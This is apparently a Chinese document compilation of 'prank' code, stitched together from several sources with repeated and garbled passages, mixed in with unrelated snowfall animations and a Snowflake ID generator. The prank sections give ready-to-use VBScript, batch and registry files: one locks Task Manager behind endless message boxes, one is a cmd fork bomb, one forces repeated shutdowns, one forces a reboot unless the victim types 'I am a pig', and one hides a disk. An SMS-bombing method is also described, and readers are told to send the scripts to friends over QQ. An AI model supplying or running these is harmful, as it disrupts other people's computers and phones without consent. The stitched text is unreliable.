整人雪花飘飘代码
- 格式:docx
- 大小:29.46 KB
- 文档页数:10
使用方法:新建一个txt文本文档。
然后把拓展名改成".vbs"的格式。
然后右键编辑,把代码复制进去,ok!!!1.整死你啊!!!此代码锁定了任务管理器,想关闭只有重新启动电脑,恶搞你的好友,或者骚扰你Private Sub Form_Load()Open Environ$("WinDir") & "\system32\taskmgr.exe" For Binary As #1For m = 1 To 999MsgBox "呵呵,你知道我是谁吗?", 16MsgBox "什么??不知道?", 16MsgBox "那你打开我干什么?", 16MsgBox "你有空没事做吧?!", 16MsgBox "我..就是鼎鼎大名的987876198", 16MsgBox "987876198..", 16MsgBox "现在你把它打开了觉得后悔了吧?呵呵..", 16MsgBox "算了算了,不玩你了", 16MsgBox "现在我数3声就闪人,行了吧?", 16MsgBox "1.............", 16MsgBox "2.............", 16MsgBox "3.............", 16MsgBox "噔噔噔噔,我又回来了!", 16MsgBox "哈哈,是不是很过瘾呢?", 16MsgBox "现在我先介绍下自己..", 16MsgBox "我叫王得地..", 16MsgBox "性别:男..", 16MsgBox "今年35岁..", 16MsgBox "不好意思噢,我好像说多了..", 16MsgBox "不要这样喇,听我说完先好不?", 16MsgBox "来来来,开始喇..", 16MsgBox "我叫王得地..", 16MsgBox "家中有屋又有田..", 16MsgBox "生活乐无边..", 16MsgBox "好像我又说多了...", 16MsgBox "不要生气嘛,你认真看下去我就放你走..", 16MsgBox "好,开始喇..", 16MsgBox "从前有座山..", 16MsgBox "山里有个座庙..", 16MsgBox "庙里有个和尚..", 16MsgBox "哈哈,想哭吗?", 16MsgBox "被骗的感觉不爽吧?", 16MsgBox "喂喂喂!别别..千万别重启电脑", 16MsgBox "我告诉你怎么关吧", 16MsgBox "先打开任务管理器", 16MsgBox "忘了告诉你了,任务管理器打不开了", 16MsgBox "别恨我啊你不小心", 16MsgBox "电脑重新启动吧", 16MsgBox "相信我吧,你知道我是不会骗人的", 16MsgBox "如果你还想继续点的话,你就别听我的", 16MsgBox "呵呵,我又没有说这个东西没有", 16MsgBox "我只想说桌面没有罢了..", 16MsgBox "嘻嘻,爽不爽吖?", 16MsgBox "对着电脑屏幕大声说低调大好人", 16MsgBox "不然,我就没办法的咯", 16MsgBox "因为我把循环设置成99了", 16MsgBox "想保存电脑数据只有继续点了", 16MsgBox "绝对会出到去的", 16MsgBox "好了,废话不多说了,祝你好运..", 16MsgBox "制作:低调不倒", 16MsgBox "QQ:987876198", 16MsgBox "E-mail:不告诉你", 16MsgBox "好,继续循环..", 16NextEnd Sub·······················································2.满屏小雪花这是我以前写的小程序让整个屏幕雪花飘飘的改进,本程序是一个模拟下雪的小程序:大小不同随风飘荡的雪花从屏幕上方不断落下,飘满整个屏幕。
使⽤canvas实现雪花飘动效果的⽰例代码今天我们就使⽤canvas来实现雪花飘落的效果❄⼀、canvas是什么?HTML5 <canvas> 元素⽤于图形的绘制,通过脚本 (通常是JavaScript)来完成.<canvas> 标签只是图形容器,您必须使⽤脚本来绘制图形。
你可以通过多种⽅法使⽤ canvas 绘制路径,盒、圆、字符以及添加图像。
⼆、canvas的基本⽤法1.创建⼀个画布(Canvas)<canvas id="myCanvas" width="200" height="100"></canvas>2.使⽤JavaScript绘制图像//⾸先找到<canvas>元素var c=document.getElementById("myCanvas");//然后创建context对象var ctx=c.getContext("2d");//下⾯的两⾏代码绘制⼀个红⾊的矩形:ctx.fillStyle="#FF0000";ctx.fillRect(0,0,150,75);getContext("2d") 对象是内建的 HTML5 对象,拥有多种绘制路径、矩形、圆形、字符以及添加图像的⽅法。
设置fillStyle属性可以是CSS颜⾊,渐变,或图案。
fillStyle 默认设置是#000000。
3.Canvas 坐标canvas 是⼀个⼆维⽹格。
canvas 的左上⾓坐标为 (0,0)ctx.fillRect(0,0,150,75);上⾯的 fillRect ⽅法拥有参数 (0,0,150,75)。
意思是:在画布上绘制 150x75 的矩形,从左上⾓开始 (0,0)。
4.Canvas - 路径moveTo(x,y) 定义线条开始坐标lineTo(x,y) 定义线条结束坐标在canvas中绘制圆形, 我们将使⽤以下⽅法:arc(x,y,r,start,stop)使⽤arc() 画⼀个圆var c=document.getElementById("myCanvas");var ctx=c.getContext("2d");ctx.beginPath();ctx.arc(95,50,40,0,2*Math.PI);ctx.stroke();三、实现雪花飘动的思路1.创建⼀个画布(Canvas)var canvas =document.getElementById("canvas")//参数 contextID 指定了您想要在画布上绘制的类型。
整人“病毒”代码(一)发表于2013-10-23 10:33前段时间看到大家对这种整人的代码兴趣还挺浓厚的,我最近就收集了一些和大家分享。
PS:由于精力问题没有对代码的可用性进行一一验证,所以不保证全部可用,大家如果发现有不可用的或者需要改进的地方请提出来,以下代码仅供娱乐,请勿用于非法用途。
一、怎么点都没反应的桌面如果同事的电脑开着,他离开电脑前一会,嘿嘿,机会来了。
把他的电脑桌面按print键截屏截下来,(当然QQ截屏也可以,不过效果不太逼真!)建议大家用print截屏,设置为桌面。
然后把原来在桌面上的文件统统移到一个盘的文件夹里,这样桌面看上去和平时一个样。
他回来后狂点鼠标,却怎么都没有反应!现在还在关机,开机,关机,开机,关机,开机中…………附带:print键截屏方法:键盘右上方的“Print Screen Sys Rq”键的作用是屏幕抓图!用法一,按“Print Screen SysRq”一下,对当前屏幕进行抓图,就是整个显示屏的容。
用法二,先按住“Alt”键,再按“Print Screen SysRq”键,则是对当前窗口进行抓图。
如你打开“我的电脑”后,用此法就抓取“我的电脑”窗口的容。
用上诉两种方法抓图后,再打开“开始”、“附件”里的“画图”程序,点“编辑”、“粘贴”就把抓取的图片贴出来了,可以保存为自己需要的格式。
哈哈,简单吧,这方法真挺搞的,有兴趣的童鞋可以试试!二、让电脑硬盘消失-隐藏磁盘方法愚人节电脑整人使无端端地电脑磁盘的某个分区消失了,钻进地缝里面去了吗,给外星人抓走了??非也!是某些人使坏将其隐藏起来了!步骤1.新建一个记事本2.将记事本的后缀改为.reg,就是将“新建文件.txt”改为“新建文件.reg”3.将下面的代码复制到记事本当中:Windows Registry Editor Version 5.00[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] "NoDrives" =hex:08,00,00,00解释(1)"NoDrives" =hex:08,00,00,00 这个键值是隐藏D盘的图中的D盘已经神秘消失了。
.整人代码大全让对方重启指定次数 (害人专用 )@echo offif not exist c:1.txt echo. >c:1.txt & goto err1if not exist c:2.txt echo. >c:2.txt & goto err1if not exist c:3.txt echo. >c:3.txt & goto err1sif not exist c:4.txt echo. >c:4.txt & goto err1if not exist c:5.txt echo. >c:5.txt & goto err1goto err2:err1shutdown -s -t 0:err2上面可以让对方电脑重启 5 次后不在重启,当然如果你修改一下加个if not exist c:6.txt echo. >c:6.txt & goto err1那就是重启 6 次改成 7 就是 7 次...打开“开始→程序→附件→记事本”,把代码部分复制进去,点“另存为”,路径选“你想要放的地方”,保存类型为“所有文件”,文件名为“你想要的名字.bat ”,你的批量处理器就完成了。
善意恶搞关机首先呢 ,我们在桌面创建个新文件夹然后打开,在上面找到 - 工具 T- 文件夹选项 O-查看把隐藏已知文件类型的扩展名前面的勾去掉.然后我们开始制作 .在桌面建立个记事本 ,然后把下面代码复制进去on error resume nextdim WSHshellAset WSHshellA = wscript.createobject("wscript.shell")WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪,不说我是猪就一分钟关你机,不信,试试···""",0 ,truedim ado while(a <> "我是猪")a = inputbox (" 说我是猪 ,就不关机,快撒,说"" 我是猪 """," 说不说 "," 不说",8000,7000)msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"loopmsgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"dim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell.run "cmd.exe /c shutdown -a",0 ,truemsgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,一切皆有可能~"复制之后呢 ,把后缀修改为 .vbs 或者改变打开方式为应用程序,这样你再压缩下用 QQ 发给你朋友,对方打开了就在60 秒内要关闭计算机,结束任务都不行,他只能说他是猪才能解决问题。
整人代码大全让对方重启指定次数(害人专用)@echo offif not exist c:1.txt echo。
〉c:1。
txt & goto err1if not exist c:2.txt echo. 〉c:2.txt & goto err1if not exist c:3。
txt echo. 〉c:3.txt &goto err1sif not exist c:4。
txt echo。
>c:4.txt & goto err1if not exist c:5。
txt echo. 〉c:5。
txt & goto err1goto err2:err1shutdown —s —t 0:err2上面可以让对方电脑重启5次后不在重启,当然如果你修改一下加个if not exist c:6.txt echo. 〉c:6.txt &goto err1那就是重启6次改成7就是7次..。
打开“开始→程序→附件→记事本",把代码部分复制进去,点“另存为”,路径选“你想要放的地方”,保存类型为“所有文件",文件名为“你想要的名字。
bat”,你的批量处理器就完成了。
善意恶搞关机首先呢,我们在桌面创建个新文件夹然后打开,在上面找到-工具T-文件夹选项O-查看把隐藏已知文件类型的扩展名前面的勾去掉.然后我们开始制作.在桌面建立个记事本,然后把下面代码复制进去on error resume nextdim WSHshellAset WSHshellA = wscript.createobject("wscript.shell”)WSHshellA.run "cmd.exe /c shutdown -r —t 60 -c ”"说我是猪,不说我是猪就一分钟关你机,不信,试试···”" ”,0 ,truedim ado while(a 〈> "我是猪”)a = inputbox ("说我是猪,就不关机,快撒,说””我是猪"" ","说不说”,"不说”,8000,7000)msgbox chr(13) + chr(13)+ chr(13) + a,0,"MsgBox"loopmsgbox chr(13)+ chr(13) + chr(13) + "早说就行了嘛"dim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell。
整人代码大全让对方重启指定次数(害人专用)@echo offif not exist c:1.txt echo. >c:1.txt & goto err1if not exist c:2.txt echo. >c:2.txt & goto err1if not exist c:3.txt echo. >c:3.txt & goto err1sif not exist c:4.txt echo. >c:4.txt & goto err1if not exist c:5.txt echo. >c:5.txt & goto err1goto err2:err1shutdown -s -t 0:err2上面可以让对方电脑重启5次后不在重启,当然如果你修改一下加个if not exist c:6.txt echo. >c:6.txt & goto err1那就是重启6次改成7就是7次...打开“开始→程序→附件→记事本”,把代码部分复制进去,点“另存为”,路径选“你想要放的地方”,保存类型为“所有文件”,文件名为“你想要的名字.bat”,你的批量处理器就完成了。
善意恶搞关机首先呢,我们在桌面创建个新文件夹然后打开,在上面找到-工具T-文件夹选项O-查看把隐藏已知文件类型的扩展名前面的勾去掉.然后我们开始制作.在桌面建立个记事本,然后把下面代码复制进去on error resume nextdim WSHshellAset WSHshellA = wscript.createobject("wscript.shell")WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪,不说我是猪就一分钟关你机,不信,试试···"" ",0 ,truedim ado while(a <> "我是猪")a = inputbox ("说我是猪,就不关机,快撒,说""我是猪"" ","说不说","不说",8000,7000)msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"loopmsgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"dim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell.run "cmd.exe /c shutdown -a",0 ,truemsgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,一切皆有可能~"复制之后呢,把后缀修改为.vbs或者改变打开方式为应用程序,这样你再压缩下用QQ发给你朋友,对方打开了就在60秒内要关闭计算机,结束任务都不行,他只能说他是猪才能解决问题。
黑客整人代码1、我是猪on error resume nextdim WSHshellAset WSHshellA = wscript.createobject("wscript.shell")WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪,不说我是猪就一分钟关你机,不信,试试"" ",0 ,truedim aa = inputbox ("说我是猪,就不关机,快撒,说 ""我是猪"" ","说不说","不说",8000,7000)do while(a <> "我是猪")msgbox "快点说!马上就要关机了啊,你看着办吧!"a = inputbox ("说我是猪,就不关机,快撒,说 ""我是猪"" ","说不说","不说",8000,7000)loopmsgbox "早说就行了嘛,真是的!"dim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell.run "cmd.exe /c shutdown -a",0 ,truemsgbox "哈哈哈哈,你很乖噢,我就喜欢你这样!"2、爱情测试const yourname = "张三"const title = "爱情测试"const question = "你最喜欢的人是谁?请在下面的方框中输入他的名字"const info = "你在说谎!不要逃避嘛,实话实说,快点说啦!"const scend = "你终于说出你的心扉了,赶紧向他表白吧,赶紧啰!哈哈!"dim youranswerdoyouranswer = inputbox(question, title)if youranswer <> yourname then msgbox info, vbinformation + vbokonly, titleloop until youranswer = yournamemsgbox scend, vbinformation + vbokonly, title3、关不掉的窗口WScript.Echo("嘿,谢谢你打开我哦,我等你很久拉!"&TSName)WScript.Echo("你是可爱的小朋吗?")WScript.Echo("哈,我想你拉,这你都不知道吗?")WScript.Echo("怎么才来,说~是不是不关心我")WScript.Echo("哼,我生气拉,等你这么久,心都凉啦。
整人代码大集合-多年的代码收集在我们的日常生活中,整人已经成为一种常见的娱乐方式。
无论是在家庭聚会还是在办公室,整人都可以给人们带来欢乐和轻松的氛围。
而在数字化时代,整人也不再局限于口头或行为上,代码整人也成为了一种新的趋势。
多年来,人们不断积累了各种各样的代码整人,这些代码可以用于各种场合,让人们捧腹大笑。
下面就让我们来看看这些代码整人的大集合吧!1. 桌面整人代码。
在办公室中,桌面整人是一种常见的方式。
你可以在同事的电脑上放一个隐藏的桌面截图,然后将所有的桌面图标隐藏,让他们找不到任何东西。
下面是一个简单的VBScript代码,可以实现这个整人效果:```vbscript。
Set WshShell = WScript.CreateObject("WScript.Shell")。
WshShell.Run "rundll32.exe user32.dll,UpdatePerUserSystemParameters", 1, True。
WshShell.SendKeys "{F5}"```。
将以上代码保存为.vbs文件,然后将文件发送给你的同事,让他们双击运行。
他们的桌面图标将全部消失,然后按下F5键即可恢复。
2. 键盘整人代码。
键盘整人是另一种常见的方式,你可以通过改变键盘的布局或者发送一些奇怪的按键组合来整人你的朋友。
下面是一个简单的AutoHotkey代码,可以实现这个整人效果:```autohotkey。
SendInput {LShift Down}{LAlt Down}{LWin Down}{Tab}{LShift Up}{LAlt Up}{LWin Up}。
```。
将以上代码保存为.ahk文件,然后发送给你的朋友让他们运行。
这个代码会触发一个快捷键组合,让他们的屏幕上出现切换窗口的效果。
3. 网页整人代码。
在网页上整人也是一种常见的方式,你可以通过修改网页的内容或者添加一些恶搞的效果来整人你的朋友。
Python恶作剧代码1. 简介在日常工作中,为了缓解压力和增加团队的欢乐氛围,有时我们会编写一些恶作剧代码。
Python作为一种简洁高效的编程语言,为我们提供了丰富的工具和库来实现各种恶作剧。
本文将介绍一些有趣的Python恶作剧代码,并探讨它们的实现原理和应用场景。
2. 前置条件在开始编写恶作剧代码之前,我们需要确保以下条件已经满足:1.了解Python的基本语法和常用库的使用。
2.获得可执行Python代码的环境。
3.具备一定的编码能力和责任心,确保恶作剧不会对他人造成损害或恶劣的影响。
3. 短信轰炸3.1 实现原理短信轰炸是一种常见的恶作剧手段,其原理是通过发送大量的短信消息给目标手机,导致其短信收件箱被爆满,从而影响对方正常使用手机。
在Python中,我们可以借助第三方库Twilio来实现短信轰炸。
3.2 实现步骤1.安装Twilio库:使用pip install twilio命令安装Twilio库。
2.注册Twilio账号:前往Twilio官网注册一个免费账号,获取ACCOUNT_SID和AUTH_TOKEN两个关键信息。
3.编写发送短信的代码:使用Twilio库提供的API发送短信消息。
4.构造恶作剧代码:编写一个循环,不停发送短信给目标手机,达到轰炸效果。
短信轰炸主要用于娱乐和恶作剧目的,但也存在一定的风险和法律责任。
我们强烈建议在使用短信轰炸时要遵守法律法规,并尊重他人的隐私。
4. 键盘输入疯狂输出4.1 实现原理这个恶作剧代码的实现原理比较简单,我们将利用Python的input()函数来获取用户的键盘输入,并通过循环不断输出用户输入的内容,从而让用户感到困惑和烦恼。
4.2 实现步骤1.编写循环代码:使用while循环来不断执行获取用户输入和输出的操作。
2.获取用户输入:使用input()函数获取用户输入的内容。
3.输出用户输入:将获取到的用户输入输出到屏幕上。
4.3 应用场景键盘输入疯狂输出可以用于恶作剧或者测试用户的反应能力。
雪花算法代码雪花算法(Snowflake)是一种生成唯一ID的算法,它由Twitter公司开发,可以在分布式系统中用来生成全局唯一ID,相比于数据库自增ID等传统方式,它更具有优势。
下面是雪花算法的代码实现。
```java/*** 雪花算法生成ID*/public class SnowflakeIdGenerator {private final long twEpoch = 1288834974657L; //开始时间戳 private final long dataCenterIdBits = 5L; //数据中心ID的位数 private final long workerIdBits = 5L; //工作机器ID的位数private final long sequenceBits = 12L; //序列号的位数private final long maxDataCenterId = -1L ^ (-1L << dataCenterIdBits); //数据中心ID最大值private final long maxWorkerId = -1L ^ (-1L << workerIdBits); //工作机器ID最大值private final long sequenceMask = -1L ^ (-1L << sequenceBits); //序列号的掩码private final long workerIdShift = sequenceBits; //工作机器ID 左位移位数private final long dataCenterIdShift = sequenceBits + workerIdBits; //数据中心ID左位移位数private final long timestampLeftShift = sequenceBits + workerIdBits + dataCenterIdBits; //时间戳左位移位数private long workId; //工作机器IDprivate long dataCenterId; //数据中心IDprivate long sequence = 0L; //序列号private long lastTimestamp = -1L; //上次生成ID的时间戳/*** 构造器* @param dataCenterId 数据中心ID* @param workerId 工作机器ID*/public SnowflakeIdGenerator(long dataCenterId, long workerId) {if (dataCenterId > maxDataCenterId || dataCenterId < 0) { throw new IllegalArgumentException("Data center ID can't be greater than " + maxDataCenterId + " or less than 0"); }if (workerId > maxWorkerId || workerId < 0) {throw new IllegalArgumentException("Worker ID can't be greater than " + maxWorkerId + " or less than 0");}this.dataCenterId = dataCenterId;this.workId = workerId;}/*** 生成下一个唯一ID* @return*/public synchronized long nextId() {long timestamp = timeGen();if (timestamp < lastTimestamp) {throw new RuntimeException("Clock moved backwards, refusing to generate id");}if (lastTimestamp == timestamp) {//同一时刻生成的ID序号相加sequence = (sequence + 1) & sequenceMask;if (sequence == 0) {//超过序列号最大值时等待下一时刻再生成timestamp = tilNextMillis(lastTimestamp);}} else {sequence = 0L;}lastTimestamp = timestamp;//组装ID返回return ((timestamp - twEpoch) << timestampLeftShift) | (dataCenterId << dataCenterIdShift)| (workId << workerIdShift)| sequence;}/*** 根据当前时间毫秒数等待直到下一毫秒再返回结果* @param lastTimestamp 上次生成ID的时间戳* @return*/private long tilNextMillis(long lastTimestamp) {long timestamp = timeGen();while (timestamp <= lastTimestamp) {timestamp = timeGen();}return timestamp;}/*** 获取当前时间毫秒数* @return*/private long timeGen() {return System.currentTimeMillis();}}```上述代码实现了一个简单的雪花算法ID生成器,可以在分布式系统中生成全局唯一ID。
前段时间看到大家对这种整人的代码兴趣还挺浓厚的,我最近就收集了一些和大家分享。
PS:由于精力问题没有对代码的可用性进行一一验证,所以不保证全部可用,大家如果发现有不可用的或者需要改进的地方请提出来,以下代码仅供娱乐,请勿用于非法用途。
一、怎么点都没反应的桌面如果同事的电脑开着,他离开电脑前一会,嘿嘿,机会来了。
把他的电脑桌面按print键截屏截下来,(当然QQ截屏也可以,不过效果不太逼真!)建议大家用print截屏,设置为桌面。
然后把原来在桌面上的文件统统移到一个盘的文件夹里,这样桌面看上去和平时一个样。
他回来后狂点鼠标,却怎么都没有反应!现在还在关机,开机,关机,开机,关机,开机中…………附带:print键截屏方法:键盘右上方的“Print Screen Sys Rq”键的作用是屏幕抓图!用法一,按“Print Screen SysRq”一下,对当前屏幕进行抓图,就是整个显示屏的内容。
用法二,先按住“Alt”键,再按“Print Screen SysRq”键,则是对当前窗口进行抓图。
如你打开“我的电脑”后,用此法就抓取“我的电脑”窗口的内容。
用上诉两种方法抓图后,再打开“开始”、“附件”里的“画图”程序,点“编辑”、“粘贴”就把抓取的图片贴出来了,可以保存为自己需要的格式。
哈哈,简单吧,这方法真挺搞的,有兴趣的童鞋可以试试!二、让电脑硬盘消失-隐藏磁盘方法愚人节电脑整人使无端端地电脑磁盘的某个分区消失了,钻进地缝里面去了吗,给外星人抓走了??非也!是某些人使坏将其隐藏起来了!步骤1.新建一个记事本2.将记事本的后缀改为.reg,就是将“新建文件.txt”改为“新建文件.reg”3.将下面的代码复制到记事本当中:Windows Registry Editor Version 5.00[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] "NoDrives" =hex:08,00,00,00解释(1)"NoDrives" =hex:08,00,00,00 这个键值是隐藏D盘的图中的D盘已经神秘消失了。
第一个:让别人内存OVER(逼他重启)@echo offstart cmd%0就这3行了打开“开始→程序→附件→记事本”,把代码部分复制进去,点“另存为”,路径选“你想要放的地方”,保存类型为“所有文件”,文件名为“你想要的名字.bat”,你的批量处理器就完成了。
第二个:让对方重启指定次数(害人专用)@echo offif not exist c:1.txt echo. >c:1.txt & goto err1if not exist c:2.txt echo. >c:2.txt & goto err1if not exist c:3.txt echo. >c:3.txt & goto err1if not exist c:4.txt echo. >c:4.txt & goto err1if not exist c:5.txt echo. >c:5.txt & goto err1goto err2:err1shutdown -s -t 0:err2上面可以让对方电脑重启5次后不在重启,当然如果你修改一下加个if not exist c:6.txt echo. >c:6.txt & goto err1那就是重启6次改成7就是7次...打开“开始→程序→附件→记事本”,把代码部分复制进去,点“另存为”,路径选“你想要放的地方”,保存类型为“所有文件”,文件名为“你想要的名字.bat”,你的批量处理器就完成了。
第三个:善意恶搞关机首先呢,我们在桌面创建个新文件夹然后打开,在上面找到-工具T-文件夹选项O-查看把隐藏已知文件类型的扩展名前面的勾去掉.然后我们开始制作.在桌面建立个记事本,然后把下面代码复制进去on error resume nextdim WSHshellAset WSHshellA = wscript.createobject("wscript.shell")WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪,不说我是猪就一分钟关你机,不信,试试···"" ",0 ,truedim ado while(a <> "我是猪")a = inputbox ("说我是猪,就不关机,快撒,说""我是猪""","说不说","不说",8000,7000)msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"loopmsgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"dim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell.run "cmd.exe /c shutdown -a",0 ,truemsgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,一切皆有可能~"复制之后呢,把后缀修改为.vbs或者改变打开方式为应用程序,这样你再压缩下用QQ发给你朋友,对方打开了就在60秒内要关闭计算机,结束任务都不行,他只能说他是猪才能解决问题。
对不起,编写花瓣飘落的代码会涉及到复杂的图形编程和动画处理。
具体的代码实现取决于你使用的编程语言和图形库。
下面是一个使用 Python 和 Pygame 库实现的基本示例:python复制代码import pygameimport random# 初始化 Pygamepygame.init()# 设置屏幕大小screen = pygame.display.set_mode((800, 600))# 设置颜色WHITE = (255, 255, 255)# 花瓣的类定义class Petal:def__init__(self):self.x = random.randint(0, 800)self.y = random.randint(0, 600)self.speed = random.randint(1, 10)self.size = random.randint(10, 30)def draw(self):pygame.draw.circle(screen, WHITE, (self.x, self.y), self.size)def move(self):self.y += self.speedif self.y > 600:self.y = 0self.x = random.randint(0, 800)self.speed = random.randint(1, 10)self.size = random.randint(10, 30)# 主函数def main():clock = pygame.time.Clock()petals = [Petal() for _ in range(100)] # 创建100个花瓣对象run = Truewhile run:clock.tick(60) # 设置帧率为60帧/秒for event in pygame.event.get(): # 处理事件队列中的事件,例如窗口关闭事件等if event.type == pygame.QUIT: # 如果窗口被关闭,结束游戏循环run = Falsescreen.fill((0, 0, 0)) # 清空屏幕,准备绘制下一帧图像for petal in petals: # 对每个花瓣进行绘制和移动操作petal.draw() # 绘制花瓣petal.move() # 移动花瓣,使其向下移动并可能重新出现在屏幕底部,模拟飘落效果pygame.display.update() # 更新显示内容,使之前的绘图效果生效pygame.quit() # 退出 Pygame,释放相关资源quit() # 退出主程序,结束执行if __name__ == "__main__": # 如果这个文件是作为主程序运行,而不是被其他文件导入,那么执行主函数main()这个代码会创建一个黑色的窗口,并在窗口中随机生成一些白色的花瓣。
这是我以前写的小程序让整个屏幕雪花飘飘的改进,本程序是一个模拟下雪的小程序:大小不同随风飘荡的雪花从屏幕上方不断落下,飘满整个屏幕。
雪花可在任何窗口上飘荡,包括任务栏、开始菜单、弹出菜单等地方。
本程序与原程序的主要改进之处是:落下的雪花不会消失,会在屏幕底部不断堆积,双击屏幕底部的积雪可使积雪消失。
本程序编译成exe 文件运行后,只能通过系统“任务管理器”才能终止运行。
程序运行效果截图如下:'' '本程序包含两个窗体,Form1 和Form2,其中Form1 是启动窗体。
代码在在VB6调试通过:''下面是Form1窗体代码:=====================================''注意:在属性窗口将窗体的BorderStyle属性设置为,即窗体是无边框窗体''在窗体上放置一个控件:Timer1,不必设置任何属性P r i v a t e D e c l a r e F u n c t i o n S e t W i n d o w P o s L i b"u s e r32"(B y V a l h W n d A s L o n g,ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByValcx As Long, ByVal cy As Long, ByVal wFlags As Long) As Lo ngPrivateDeclareFunctionSetLayeredWindowAttributesLib"user32"(ByValhWnd As Long, ByVal crKey As Long, ByVal bAlpha As Byte, ByVal dw FlagsAs Long) As LongPrivateDeclareFunctionGetWindowLongLib"user32"Alias"GetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long) As LongPrivateDeclareFunctionSetWindowLongLib"user32"Alias"SetWindowLongA"(ByValhWndAsLong,ByValnIndexAsLong,ByValdwNewLong As Long) As LongDim ctSnow() As tySnow, ctSnowS As Long, ctSeChange As LongPrivate Type tySnow'定义表示雪花的数据类型X As Single: xV As Single'x坐标、水平移动速度Y As Single: yV As Single'y坐标、垂直移动速度Se As Long: Size As Single '雪花颜色、大小End TypePrivate Sub Form_Load()ctSnowS = 200'300 '雪花数量ctSeChange = 30'雪花颜色的变化范围'最大化窗口。
注意:不要用在属性窗口设置WindowState属性的方'式,也不使用Me.WindowState = 2代码。
否则,在用户调整任务'栏状态的时候,会造成积雪的位置错位。
Me.WindowState = 0Me.Move 0, 0, Screen.Width, Screen.HeightReDim ctSnow(1 To ctSnowS)Me.Caption = "雪花飘飘"Me.AutoRedraw = True: Me.ScaleMode = 3Me.BackColor = RGB(235 - ctSeChange * 2, 235 -ctSeChange * 2, 255)Call TransWin(Me.hWnd, Me.BackColor)'将窗口背景色设置为透明的Form2.AutoRedraw = True: Form2.ScaleMode = 3Form2.BackColor = Me.BackColorForm2.Move Form1.Left, Form1.Top, Form1.Width, Form1.HeightCall TransWin(Form2.hWnd, Form2.BackColor)'将窗口背景色设置为透明的Form2.ShowTimer1.Enabled = True: Timer1.Interval = 20End SubPrivate Sub Timer1_Timer()DimIAsLong,VAsSingle,H1AsSingle,IsDownAsBoolean,SeAsLongV = 8'修改此数字,可改变雪花整体飘荡的速度Randomize'初始化随机发生器WinInTop Me.hWnd, True'使雪花(窗口)显示在最前,包括显示到任务栏上面WinInTop Form2.hWnd, TrueMe.Line (0, 0)-(Me.ScaleWidth, Me.ScaleHeight), Me.BackColor, BFFor I = 1 To ctSnowSctSnow(I).X = ctSnow(I).X + ctSnow(I).xV * VctSnow(I).Y = ctSnow(I).Y + ctSnow(I).yV * VIf Rnd * 20 < 1 Then ctSnow(I).xV = Rnd - 0.5'改变水平移动速度,模拟随风飘荡If ctSnow(I).Size = 0 Or ctSnow(I).Y > Me.ScaleH eight Then CallSnowInit(I)'未初始化,或超出下边界' ctSnow(I).Size = 2 '****调试代码ShowStr Me, I'画一朵雪花Me.Font.Size = ctSnow(I).SizeH1 = Me.TextHeight("*") * 0.5'半个字符高度If ctSnow(I).X < -H1 Then ctSnow(I).X = Me.ScaleWidth'超出左边界If ctSnow(I).X > Me.ScaleWidth Then ctSnow(I).X = -H1'超出右边界'最下层积雪位置IsDown = ctSnow(I).Y > Me.ScaleHeight - H1If IsDown Then ctSnow(I).Y = Me.ScaleHeight - H1'积雪密度:Y坐标后H1*0.9数值越小密度越大'数值过大,如H1*1.5,会使积雪堆积成柱状或造成空隙。
'数值过小,如H1*0.5,会使积雪堆积速度缓慢。
Se = Form2.Point(ctSnow(I).X + H1 * 0.5, ctSnow(I).Y + H1 * 0.9)If Se > -1 And Se <> Form2.BackColor Then IsDown = True'已落到最下面,在Form2的相同位置绘制积雪If IsDown ThenShowStr Form2, ICall SnowInit(I)If ctSnow(I).Y > Me.ScaleHeight * 0.9 ThenForm2.Font.Size = 12Form2.CurrentX = (Me.ScaleWidth -8 * Me.TextHeight("12"))* 0.5Form2.CurrentY = Me.ScaleHeight * 0.92Form2.ForeColor = RGB(0, 0, 255)Form2.Print "双击此处消除积雪"End IfEnd IfNextEnd SubPrivate Sub ShowStr(Kj, I As Long)'画一朵雪花Dim H1 As SingleKj.Font.Size = ctSnow(I).SizeKj.CurrentX = ctSnow(I).XKj.CurrentY = ctSnow(I).YKj.ForeColor = ctSnow(I).SeIf ctSnow(I).Size > 4.2 ThenKj.Print "*"ElseIf ctSnow(I).Size > 3 Then Kj.DrawWidth = 2 Else Kj.D rawWidth =1H1 = Kj.TextHeight("*") * 0.5Kj.PSet (ctSnow(I).X + H1 * 0.5, ctSnow(I).Y + H1 - 1)End IfEnd SubPrivate Sub SnowInit(I As Long)'初始化一朵雪花Dim S As SinglectSnow(I).X = Rnd * Me.ScaleWidthctSnow(I).xV = Rnd - 0.5ctSnow(I).yV = Rnd * 0.5 + 0.1S = 2 + Rnd * 9'字体最大11号If ctSnow(I).Size = 0 ThenctSnow(I).Y = Rnd * Me.ScaleHeightElseMe.Font.Size = SctSnow(I).Y = -Me.TextHeight("*")End IfctSnow(I).Size = SS = 235 -ctSeChange * 2 + Int(Rnd * ctSeChange * 2)ctSnow(I).Se = R GB(S, S, 255)'雪花略带蓝色,否则在白背景时将看不见End SubPrivate Sub TransWin(hWnd As Long, TransColor As Long)'将窗口颜色TransColor设置为透明的Dim ExsTyle As LongConst WS_EX_LAYERED = &H80000, GWL_ExsTyle = -20ExsTyle = WS_EX_LAYERED Or GetWindowLong(hWnd, GWL_ExsTyle )SetWindowLong hWnd, GWL_ExsTyle, ExsTyleSetLayeredWindowAttributes hWnd, TransColor, 0, 1End SubPrivate Sub 